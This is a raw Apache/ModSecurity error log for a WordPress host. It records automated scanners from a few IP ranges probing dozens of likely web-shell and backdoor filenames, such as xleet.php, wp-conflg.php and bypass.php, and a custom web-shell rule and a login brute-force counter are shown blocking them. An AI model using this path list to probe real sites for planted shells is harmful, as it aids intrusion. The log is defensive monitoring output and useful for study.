[Fri Mar 13 05:10:16.036037 2026] [:error] [pid 62036:tid 62043] [client 136.144.19.235:44269] [client 136.144.19.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "abMruLce6g9kILuh_R7gNAAAAMA"]
[Fri Mar 13 05:10:16.593253 2026] [:error] [pid 61928:tid 62000] [client 136.144.19.234:40459] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-users.php
[Fri Mar 13 05:10:19.148598 2026] [:error] [pid 61928:tid 62000] [client 136.144.19.234:40459] [client 136.144.19.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "abMruwod66AHekJJZioeIwAAAFc"]
[Fri Mar 13 05:10:19.678922 2026] [:error] [pid 61929:tid 62025] [client 136.144.19.236:55575] [client 136.144.19.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/file.php"] [unique_id "abMruzGGsow2jgUjLtxIKwAAAJU"]
[Fri Mar 13 05:10:20.212690 2026] [:error] [pid 61927:tid 61953] [client 216.24.219.167:35579] [client 216.24.219.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/network.php"] [unique_id "abMrvLLkK584eBa2J7W8DAAAAAc"]
[Fri Mar 13 05:10:21.761129 2026] [:error] [pid 61928:tid 61985] [client 136.144.19.41:29279] [client 136.144.19.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/template-wploader.php"] [unique_id "abMrvQod66AHekJJZioeNAAAAEg"]
[Fri Mar 13 05:10:22.617738 2026] [:error] [pid 61928:tid 61988] [client 136.144.19.236:32461] [client 136.144.19.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/vars-soap.php"] [unique_id "abMrvgod66AHekJJZioeQwAAAEs"]
[Fri Mar 13 05:10:24.064857 2026] [:error] [pid 62036:tid 62048] [client 136.144.19.228:27995] [client 136.144.19.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/template-less.php"] [unique_id "abMrwLce6g9kILuh_R7gfwAAAMU"]
[Fri Mar 13 05:10:25.304948 2026] [:error] [pid 44755:tid 44765] [client 136.144.19.64:20023] [client 136.144.19.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "abMrwfONf1H0XrBFE4NYzgAAAQg"]
[Fri Mar 13 05:10:25.896579 2026] [:error] [pid 44755:tid 44779] [client 216.24.219.200:41869] [client 216.24.219.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "abMrwfONf1H0XrBFE4NY1AAAARY"]
[Fri Mar 13 05:10:26.733848 2026] [:error] [pid 44755:tid 44777] [client 136.144.19.79:25063] [client 136.144.19.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "abMrwvONf1H0XrBFE4NY5gAAARQ"]
[Fri Mar 13 05:10:27.833226 2026] [:error] [pid 44755:tid 44765] [client 216.24.219.212:59361] [client 216.24.219.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "abMrw_ONf1H0XrBFE4NY-gAAAQg"]
[Fri Mar 13 05:10:28.393646 2026] [:error] [pid 44755:tid 44779] [client 136.144.19.63:36393] [client 136.144.19.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "abMrxPONf1H0XrBFE4NZAQAAARY"]
[Fri Mar 13 05:10:31.852995 2026] [:error] [pid 44755:tid 44765] [client 136.144.19.55:22037] [client 136.144.19.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "abMrx_ONf1H0XrBFE4NZLgAAAQg"]
[Fri Mar 13 05:10:32.361023 2026] [:error] [pid 61928:tid 61996] [client 136.144.19.221:22021] [client 136.144.19.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "abMryAod66AHekJJZioeYwAAAFM"]
[Fri Mar 13 05:10:32.909044 2026] [:error] [pid 62036:tid 62050] [client 136.144.19.234:62073] File does not exist: /usr/local/apache/htdocs/suspended-page/plugin-install.php
[Fri Mar 13 05:10:33.483285 2026] [:error] [pid 62036:tid 62059] [client 136.144.19.234:62073] [client 136.144.19.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "abMrybce6g9kILuh_R7g4gAAANA"]
[Fri Mar 13 05:10:34.431932 2026] [:error] [pid 44755:tid 44761] [client 216.24.219.201:57683] [client 216.24.219.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/system.php"] [unique_id "abMryvONf1H0XrBFE4NZTQAAAQQ"]
[Fri Mar 13 05:10:35.551595 2026] [:error] [pid 61928:tid 61977] [client 136.144.19.58:28419] [client 136.144.19.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "abMrywod66AHekJJZioecwAAAEA"]
[Fri Mar 13 05:10:36.347377 2026] [:error] [pid 62036:tid 62066] [client 216.24.219.199:38521] [client 216.24.219.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "abMrzLce6g9kILuh_R7g_gAAANc"]
[Fri Mar 13 05:10:37.210511 2026] [:error] [pid 44755:tid 44774] [client 136.144.19.227:35103] [client 136.144.19.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID/chosen.php"] [unique_id "abMrzfONf1H0XrBFE4NZgAAAARE"]
[Fri Mar 13 05:10:39.681111 2026] [:error] [pid 61929:tid 62004] [client 136.144.19.54:65473] [client 136.144.19.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/xsec.php"] [unique_id "abMrzzGGsow2jgUjLtxIxAAAAIA"]
[Fri Mar 13 05:10:40.301008 2026] [:error] [pid 44755:tid 44769] [client 216.24.219.212:20191] [client 216.24.219.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "abMr0PONf1H0XrBFE4NZsAAAAQw"]
[Fri Mar 13 05:10:40.897331 2026] [:error] [pid 62036:tid 62061] [client 216.24.219.196:36007] [client 216.24.219.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "abMr0Lce6g9kILuh_R7hLgAAANI"]
[Fri Mar 13 05:10:41.529447 2026] [:error] [pid 62036:tid 62047] [client 216.24.219.201:29305] [client 216.24.219.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "abMr0bce6g9kILuh_R7hOQAAAMQ"]
[Fri Mar 13 05:10:42.109433 2026] [:error] [pid 62036:tid 62046] [client 136.144.19.79:64701] File does not exist: /usr/local/apache/htdocs/suspended-page/goat.php
[Fri Mar 13 05:10:42.693840 2026] [:error] [pid 62036:tid 62057] [client 136.144.19.79:64701] File does not exist: /usr/local/apache/htdocs/suspended-page/nf_tracking.php
[Fri Mar 13 05:10:46.131385 2026] [:error] [pid 62036:tid 62067] [client 136.144.19.79:64701] [client 136.144.19.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "abMr1rce6g9kILuh_R7hfgAAANg"]
[Fri Mar 13 05:10:46.927771 2026] [:error] [pid 44755:tid 44772] [client 136.144.19.221:35527] [client 136.144.19.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "abMr1vONf1H0XrBFE4NaGgAAAQ8"]
[Fri Mar 13 05:10:48.055499 2026] [:error] [pid 44755:tid 44781] [client 136.144.19.225:46709] [client 136.144.19.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/log.php"] [unique_id "abMr2PONf1H0XrBFE4NaOAAAARg"]
[Fri Mar 13 05:10:48.595668 2026] [:error] [pid 61928:tid 61998] [client 136.144.19.219:59089] [client 136.144.19.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID/simi.php"] [unique_id "abMr2Aod66AHekJJZioepAAAAFU"]
[Fri Mar 13 05:10:49.767006 2026] [:error] [pid 44755:tid 44779] [client 136.144.19.62:56641] File does not exist: /usr/local/apache/htdocs/suspended-page/infos.php
[Fri Mar 13 05:10:50.039906 2026] [:error] [pid 44755:tid 44766] [client 136.144.19.62:56641] [client 136.144.19.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "abMr2vONf1H0XrBFE4NaWgAAAQk"]
[Fri Mar 13 05:10:51.217519 2026] [:error] [pid 62036:tid 62052] [client 136.144.19.64:30417] [client 136.144.19.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.19.64, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "abMr27ce6g9kILuh_R7huQAAAMk"]
[Fri Mar 13 05:10:51.845601 2026] [:error] [pid 62036:tid 62050] [client 136.144.19.64:30417] [client 136.144.19.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "abMr27ce6g9kILuh_R7hxgAAAMc"]
[Fri Mar 13 05:10:52.459132 2026] [:error] [pid 62036:tid 62047] [client 136.144.19.229:62867] [client 136.144.19.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "abMr3Lce6g9kILuh_R7h0QAAAMQ"]
[Fri Mar 13 05:10:53.086353 2026] [:error] [pid 61928:tid 61985] [client 136.144.19.221:36397] [client 136.144.19.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "abMr3Qod66AHekJJZioeuQAAAEg"]
[Fri Mar 13 05:10:53.678988 2026] [:error] [pid 61929:tid 62013] [client 193.36.224.114:28189] File does not exist: /usr/local/apache/htdocs/suspended-page/term.php
[Fri Mar 13 05:10:54.297188 2026] [:error] [pid 61929:tid 62009] [client 193.36.224.114:28189] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-info.php
[Fri Mar 13 05:10:54.879376 2026] [:error] [pid 61929:tid 62015] [client 193.36.224.114:28189] File does not exist: /usr/local/apache/htdocs/suspended-page/login.php
[Fri Mar 13 05:10:55.160426 2026] [:error] [pid 61929:tid 62004] [client 193.36.224.114:28189] File does not exist: /usr/local/apache/htdocs/suspended-page/user.php
[Fri Mar 13 05:10:55.441097 2026] [:error] [pid 61929:tid 62014] [client 193.36.224.114:28189] [client 193.36.224.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "abMr3zGGsow2jgUjLtxJUgAAAIo"]
[Fri Mar 13 05:10:56.057103 2026] [:error] [pid 61928:tid 61995] [client 136.144.19.41:45395] File does not exist: /usr/local/apache/htdocs/suspended-page/lufix.php
[Fri Mar 13 05:10:56.383679 2026] [:error] [pid 61928:tid 61994] [client 136.144.19.41:45395] [client 136.144.19.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/button/index.php"] [unique_id "abMr4Aod66AHekJJZioezQAAAFE"]
[Fri Mar 13 05:10:59.059789 2026] [:error] [pid 61929:tid 62027] [client 136.144.19.236:63477] [client 136.144.19.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-theme-control-cron.php"] [unique_id "abMr4zGGsow2jgUjLtxJcwAAAJc"]
[Fri Mar 13 05:10:59.683714 2026] [:error] [pid 61929:tid 62004] [client 216.24.219.168:28817] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-file.php
[Fri Mar 13 05:10:59.951033 2026] [:error] [pid 61929:tid 62025] [client 216.24.219.168:28817] [client 216.24.219.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "abMr4zGGsow2jgUjLtxJeQAAAJU"]
[Fri Mar 13 05:11:01.061188 2026] [:error] [pid 44755:tid 44758] [client 136.144.19.235:38887] [client 136.144.19.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-oembed-path.php"] [unique_id "abMr5fONf1H0XrBFE4NatgAAAQE"]
[Fri Mar 13 05:11:02.277692 2026] [:error] [pid 62036:tid 62043] [client 216.24.219.200:62725] [client 216.24.219.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/11.php"] [unique_id "abMr5rce6g9kILuh_R7iRAAAAMA"]
[Fri Mar 13 05:11:03.407075 2026] [:error] [pid 44755:tid 44780] [client 136.144.19.236:55379] [client 136.144.19.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/module.tag.apetag-float.php"] [unique_id "abMr5_ONf1H0XrBFE4Na8gAAARc"]
[Fri Mar 13 05:11:05.168281 2026] [:error] [pid 61927:tid 61962] [client 136.144.19.74:35865] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/custom.functions.1736323659.php
[Fri Mar 13 05:11:05.713132 2026] [:error] [pid 61927:tid 61956] [client 136.144.19.74:35865] [client 136.144.19.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "abMr6bLkK584eBa2J7W8kAAAAAo"]
[Fri Mar 13 05:11:06.300702 2026] [:error] [pid 62036:tid 62054] [client 136.144.19.63:59655] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-uploads.php
[Fri Mar 13 05:11:06.915975 2026] [:error] [pid 62036:tid 62054] [client 136.144.19.63:59655] [client 136.144.19.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-block-method.php"] [unique_id "abMr6rce6g9kILuh_R7ihgAAAMs"]
[Fri Mar 13 05:11:08.135947 2026] [:error] [pid 44755:tid 44770] [client 136.144.19.225:57133] [client 136.144.19.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/search/class-wp-rest-search-handlers.php"] [unique_id "abMr7PONf1H0XrBFE4NbOgAAAQ0"]
[Fri Mar 13 05:11:08.983750 2026] [:error] [pid 61928:tid 61987] [client 216.24.219.201:34115] [client 216.24.219.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/edit.php"] [unique_id "abMr7Aod66AHekJJZiofDQAAAEo"]
[Fri Mar 13 05:11:10.661586 2026] [:error] [pid 61927:tid 61959] [client 216.24.219.213:25671] [client 216.24.219.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/zoomab.php"] [unique_id "abMr7rLkK584eBa2J7W8rwAAAA0"]
[Fri Mar 13 05:11:11.192886 2026] [:error] [pid 61929:tid 62018] [client 216.24.219.212:30669] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/w.php
[Fri Mar 13 05:11:12.145384 2026] [:error] [pid 61929:tid 62016] [client 216.24.219.212:30669] File does not exist: /usr/local/apache/htdocs/suspended-page/users.php
[Fri Mar 13 05:11:12.748492 2026] [:error] [pid 61929:tid 62005] [client 216.24.219.212:30669] [client 216.24.219.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/mrs.php"] [unique_id "abMr8DGGsow2jgUjLtxJ6wAAAIE"]
[Fri Mar 13 05:11:13.285924 2026] [:error] [pid 61927:tid 61946] [client 136.144.19.219:60403] [client 136.144.19.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/abc.php"] [unique_id "abMr8bLkK584eBa2J7W8wwAAAAA"]
[Fri Mar 13 05:11:14.130746 2026] [:error] [pid 61927:tid 61954] [client 136.144.19.229:42209] [client 136.144.19.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-date-query-cookie.php"] [unique_id "abMr8rLkK584eBa2J7W8ygAAAAg"]
[Fri Mar 13 05:11:15.341178 2026] [:error] [pid 62036:tid 62057] [client 136.144.19.234:21977] File does not exist: /usr/local/apache/htdocs/suspended-page/403.php
